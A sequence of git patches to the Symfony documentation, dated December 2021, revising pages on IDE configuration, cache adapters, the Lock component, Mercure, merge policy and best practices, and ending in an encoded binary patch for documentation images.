@@ -170,7 +170,7 @@ some environment variable that stores the name of the IDE/editor:
         # config/packages/framework.yaml
         framework:
             # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            ide: '%env(resolve:CODE_EDITOR)%'
+            ide: '%env(resolve:SYMFONY_IDE)%'
 
     .. code-block:: xml
 
@@ -184,7 +184,7 @@ some environment variable that stores the name of the IDE/editor:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
-            <framework:config ide="%env(resolve:CODE_EDITOR)%"/>
+            <framework:config ide="%env(resolve:SYMFONY_IDE)%"/>
         </container>
 
     .. code-block:: php
@@ -194,9 +194,14 @@ some environment variable that stores the name of the IDE/editor:
 
         return static function (FrameworkConfig $framework) {
             // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            $framework->ide('%env(resolve:CODE_EDITOR)%');
+            $framework->ide('%env(resolve:SYMFONY_IDE)%');
         };
 
+.. versionadded:: 6.1
+
+    The environment variable `SYMFONY_IDE` was introduced in Symfony 6.1.
+    It is read by default when `framework.ide` config is not set.
+
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the
 ``framework.ide`` option, but without the need to escape the percent signs

From b073443f33beac83a0b74b20867946ad0d288432 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 16:34:15 +0100
Subject: [PATCH 2900/7107] Minor tweaks

---
 reference/configuration/framework.rst | 42 +++------------------------
 1 file changed, 4 insertions(+), 38 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f711fd8c7b..001b28aa84a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -160,47 +160,13 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         };
 
 Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. First, you can set its value to
-some environment variable that stores the name of the IDE/editor:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            ide: '%env(resolve:SYMFONY_IDE)%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
-            <framework:config ide="%env(resolve:SYMFONY_IDE)%"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            $framework->ide('%env(resolve:SYMFONY_IDE)%');
-        };
+feature is to configure it on a system level. First, you can define this option
+in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
+when ``framework.ide`` config is not set.
 
 .. versionadded:: 6.1
 
-    The environment variable `SYMFONY_IDE` was introduced in Symfony 6.1.
-    It is read by default when `framework.ide` config is not set.
+    ``SYMFONY_IDE`` environment variable support was introduced in Symfony 6.1.
 
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the

From 041b040114d04f12e32dd7f69fcafabb2b12d606 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:17:58 +0100
Subject: [PATCH 2901/7107] Minor tweaks

---
 .../adapters/pdo_doctrine_dbal_adapter.rst    | 21 +++++++++----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 1f1cd08c8d5..e1bf8ab5540 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -11,16 +11,16 @@ The PDO and Doctrine DBAL adapters store the cache items in a table of an SQL da
 
 .. note::
 
-    Adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
-    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
-    calling the ``prune()`` method.
+    These adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
+    by calling the ``prune()`` method.
 
-Using :phpclass:`PDO`
----------------------
+Using PHP PDO
+-------------
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
-or `Data Source Name (DSN)`_ as its first parameter, and optionally a namespace,
-default cache lifetime, and options array as its second, third, and forth parameters::
+or `Data Source Name (DSN)`_ as its first parameter. You can pass a namespace,
+default cache lifetime, and options array as the other optional arguments::
 
     use Symfony\Component\Cache\Adapter\PdoAdapter;
 
@@ -61,14 +61,13 @@ your code.
     are lazy-loaded by default; some additional options may be necessary to detect
     the database engine and version without opening the connection.
 
-
 Using Doctrine DBAL
 -------------------
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
-`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter, and
-optionally a namespace, default cache lifetime, and options array as its second,
-third, and forth parameters::
+`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter.
+You can pass a namespace, default cache lifetime, and options array as the other
+optional arguments::
 
     use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
 

From 86f4e930f3603f119a27d530b71ceb01e90786a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:18:52 +0100
Subject: [PATCH 2902/7107] Remove a deprecated comment

---
 components/cache/adapters/pdo_doctrine_dbal_adapter.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index e1bf8ab5540..9239f276f6a 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -47,13 +47,6 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
 your code.
 
-.. deprecated:: 5.4
-
-    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
-    and will be removed in Symfony 6.0.
-    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
-
 .. tip::
 
     When passed a `Data Source Name (DSN)`_ string (instead of a database connection

From eb0802d9c60bb0acb9f144851a5546a98156ea10 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:34:27 +0100
Subject: [PATCH 2903/7107] Remove a deprecated admonition

---
 components/lock.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index a70ba793d7f..5b0ab55a1b0 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -479,11 +479,6 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in
 your code.
 
-.. deprecated:: 5.4
-
-    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4.
-    Use ``DoctrineDbalStore`` instead.
-
 .. _lock-store-dbal:
 
 DoctrineDbalStore

From 964f488ab4b0c1592f810e1645a3306d6e586cc2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:37:40 +0100
Subject: [PATCH 2904/7107] Remove unused references

---
 contributing/documentation/overview.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 25959c87392..2334f504400 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -291,6 +291,4 @@ definitely don't want you to waste your time!
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
 .. _`SymfonyConnect`: https://symfony.com/connect/login
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
-.. _`SymfonyCloud`: https://symfony.com/cloud
-.. _`roadmap`: https://symfony.com/releases
 .. _`the README file of symfony-docs repository`: https://github.com/symfony/symfony-docs#readme

From 742b475d510ae18b836837a8958808fa67dd4058 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Mon, 27 Dec 2021 21:53:40 +0100
Subject: [PATCH 2905/7107] [Mercure] fix some typos and outdates sentences

---
 mercure.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 365e3de9391..5dcda7951ec 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -112,14 +112,14 @@ This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variabl
 MercureBundle will use it to automatically generate and sign the needed JWTs.
 
 In addition to these environment variables,
-MercureBundle provides a more advanced configuration configuration:
+MercureBundle provides a more advanced configuration:
 
-* ``secret``: the key to use to sign the JWT (all other options, beside `algorithm`, `subscribe`, and `publish` will be ignored)
-* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided)
-* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided)
-* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided)
+* ``secret``: the key to use to sign the JWT (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored)
+* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
+* ``algorithm``: The algorithm to use to sign the JWT (only usable when ``secret`` is provided)
 * ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored)
-* ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
+* ``factory``: The ID of a service to call to create the JWT (all other options, beside ``subscribe``, and ``publish`` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)
 
 .. configuration-block::
@@ -186,7 +186,7 @@ MercureBundle provides a more advanced configuration configuration:
 
 .. tip::
 
-    The JWT payload must contain at least the following structure to be allowed to
+    The JWT payload must contain at least the following structure for the client to be allowed to
     publish:
 
     .. code-block:: json
@@ -338,8 +338,8 @@ in a ``Link`` HTTP header.
 
 .. image:: /_images/mercure/discovery.png
 
-You can create ``Link`` headers with the :doc:`WebLink Component </web_link>`,
-by using the ``AbstractController::addLink`` helper method::
+You can create ``Link`` headers with the ``Discovery`` helper class
+(under the hood, it uses the :doc:`WebLink Component </web_link>`)::
 
     // src/Controller/DiscoverController.php
     namespace App\Controller;
@@ -416,10 +416,10 @@ of the ``Update`` constructor to ``true``::
     }
 
 To subscribe to private updates, subscribers must provide to the Hub
-a JWT containing a topic selector matching by the update's topic.
+a JWT containing a topic selector matching by the topic of the update.
 
 To provide this JWT, the subscriber can use a cookie,
-or a ``Authorization`` HTTP header.
+or an ``Authorization`` HTTP header.
 
 Cookies can be set automatically by Symfony by passing the appropriate options
 to the ``mercure()`` Twig function. Cookies set by Symfony are automatically
@@ -470,7 +470,7 @@ Programmatically Setting The Cookie
 
 Sometimes, it can be convenient to set the authorization cookie from your code
 instead of using the Twig function. MercureBundle provides a convenient service,
-:class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
+``Authorization``, to do so.
 
 In the following example controller, the added cookie contains a JWT, itself
 containing the appropriate topic selector.

From 11817e10ddc78c1f9ba93ee9535d6670a3209812 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 27 Dec 2021 11:04:16 -0500
Subject: [PATCH 2906/7107] Clarify Pull Request Merging Policy

---
 contributing/code/core_team.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 1607c7c0252..a659666c2ec 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -150,9 +150,13 @@ A pull request **can be merged** if:
 
 * Enough time was given for peer reviews;
 
-* At least two **Mergers Team** members voted ``+1`` (only one if the submitter
-  is part of the Mergers team) and no Core member voted ``-1`` (via GitHub
-  reviews or as comments).
+* It is a bug fix and at least two **Mergers Team** members voted ``+1``
+  (only one if the submitter is part of the Mergers team) and no Core
+  member voted ``-1`` (via GitHub reviews or as comments).
+
+* It is a new feature and at least two **Mergers Team** members voted
+  ``+1`` (if the submitter is part of the Mergers team, two *other* members)
+  and no Core member voted ``-1`` (via GitHub reviews or as comments).
 
 Pull Request Merging Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b909ecefd2958eb8bcbea5eb8d510fa07bae1df3 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 28 Dec 2021 16:48:03 +0100
Subject: [PATCH 2907/7107] Update best_practices.rst

---
 best_practices.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index f18c756c2fc..537bdc4637f 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -378,7 +378,8 @@ Use Voters to Implement Fine-grained Security Restrictions
 
 If your security logic is complex, you should create custom
 :doc:`security voters </security/voters>` instead of defining long expressions
-inside the ``@Security`` annotation.
+inside the ``Security`` attribute
+(or annotation if your PHP version doesn't support attributes yet).
 
 Web Assets
 ----------

From da844ef4c7625cd48e0b5826ec3a286a29d32d26 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Dec 2021 15:38:59 +0100
Subject: [PATCH 2908/7107] Minor tweak

---
 best_practices.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 537bdc4637f..ccdc8d17852 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -378,8 +378,8 @@ Use Voters to Implement Fine-grained Security Restrictions
 
 If your security logic is complex, you should create custom
 :doc:`security voters </security/voters>` instead of defining long expressions
-inside the ``Security`` attribute
-(or annotation if your PHP version doesn't support attributes yet).
+inside the ``#[Security]`` attribute (or in the ``@Security`` annotation if your
+PHP version doesn't support attributes yet).
 
 Web Assets
 ----------

From ffe30f5fc2a591e3bef6b656aa58b1482602238e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 29 Dec 2021 07:13:56 -0400
Subject: [PATCH 2909/7107] [ExpressionLanguage] Fix link anchors in
 expression_language.rst #16295

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index edd3587aa6d..988bda75884 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -105,7 +105,7 @@ PHP type (including objects)::
     )); // displays "Honeycrisp"
 
 For more information, see the :doc:`/components/expression_language/syntax`
-entry, especially :ref:`component-expression-objects` and :ref:`component-expression-arrays`.
+entry, especially :ref:`Working with Objects <component-expression-objects>` and :ref:`Working with Arrays <component-expression-arrays>`.
 
 .. caution::
 

From 56ac832f44e1ead767009a369d129ee002adf219 Mon Sep 17 00:00:00 2001
From: Bhavin Nakrani <bhavin.it8488@gmail.com>
Date: Tue, 28 Dec 2021 17:55:41 +0530
Subject: [PATCH 2910/7107] Update msg for async handler

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 73dab5e9ea5..4cf2419a3a4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -326,7 +326,7 @@ Doctrine Entities in Messages
 
 If you need to pass a Doctrine entity in a message, it's better to pass the entity's
 primary key (or whatever relevant information the handler actually needs, like ``email``,
-etc) instead of the object::
+etc) instead of the object othwerwise it will give error regarding EntityManager not found in async handler ::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;

From bada525d41156663f3217f122b85980666e29e39 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Dec 2021 17:33:45 +0100
Subject: [PATCH 2911/7107] Minor reword

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4cf2419a3a4..e177e99655b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -326,7 +326,7 @@ Doctrine Entities in Messages
 
 If you need to pass a Doctrine entity in a message, it's better to pass the entity's
 primary key (or whatever relevant information the handler actually needs, like ``email``,
-etc) instead of the object othwerwise it will give error regarding EntityManager not found in async handler ::
+etc.) instead of the object (otherwise you might see errors related to the Entity Manager)::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;

From caaa569de3987e85a194ba6136bebdda97759f8c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Dec 2021 17:40:39 +0100
Subject: [PATCH 2912/7107] Minor tweak

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 16cf9b2e1ef..306bf38560c 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -43,7 +43,7 @@ of your project. It already holds the basic config you need:
 
         .addEntry('app', './assets/app.js')
 
-        // Don't forget to uncomment If you want use following JQuery example code
+        // uncomment this if you want use jQuery in the following example
         .autoProvidejQuery()
     ;
 

From 5832e228606aa5012283e076d122f528e04b5826 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antal=20=C3=81ron?= <antalaron@antalaron.hu>
Date: Thu, 30 Dec 2021 13:03:44 +0100
Subject: [PATCH 2913/7107] Make example work

---
 components/var_exporter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 59f5ec64fab..810cc271a2b 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -28,7 +28,7 @@ PHP code, similar to PHP's :phpfunction:`var_export` function::
 
     $exported = VarExporter::export($someVariable);
     // store the $exported data in some file or cache system for later reuse
-    $data = file_put_contents('exported.php', $exported);
+    $data = file_put_contents('exported.php', '<?php return '.$exported.';');
 
     // later, regenerate the original variable when you need it
     $regeneratedVariable = require 'exported.php';

From 87bd12023e617781a60533b567d887ccb333c191 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 29 Dec 2021 14:39:37 +0100
Subject: [PATCH 2914/7107] Improvements around documentation images

---
 .../contributing/docs-github-create-pr.png    | Bin 66585 -> 171073 bytes
 .../contributing/docs-github-edit-page.png    | Bin 63974 -> 62133 bytes
 .../docs-pull-request-change-base.png         | Bin 5849 -> 17589 bytes
 .../exceptions-in-dev-environment.png         | Bin 62791 -> 82684 bytes
 _images/install/deprecations-in-profiler.png  | Bin 60991 -> 103758 bytes
 _images/profiler/web-interface.png            | Bin 75628 -> 126397 bytes
 _images/quick_tour/no_routes_page.png         | Bin 576466 -> 62109 bytes
 _images/quick_tour/web_debug_toolbar.png      | Bin 59618 -> 0 bytes
 _images/release-process.jpg                   | Bin 315886 -> 0 bytes
 9 files changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 _images/quick_tour/web_debug_toolbar.png
 delete mode 100644 _images/release-process.jpg

diff --git a/_images/contributing/docs-github-create-pr.png b/_images/contributing/docs-github-create-pr.png
index 29fe22f5dbdae49c0fc445fee88a3dffe366356b..43b6842ffc248555ab9174d2bbbb6357e9f42e4f 100644
GIT binary patch
literal 171073
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
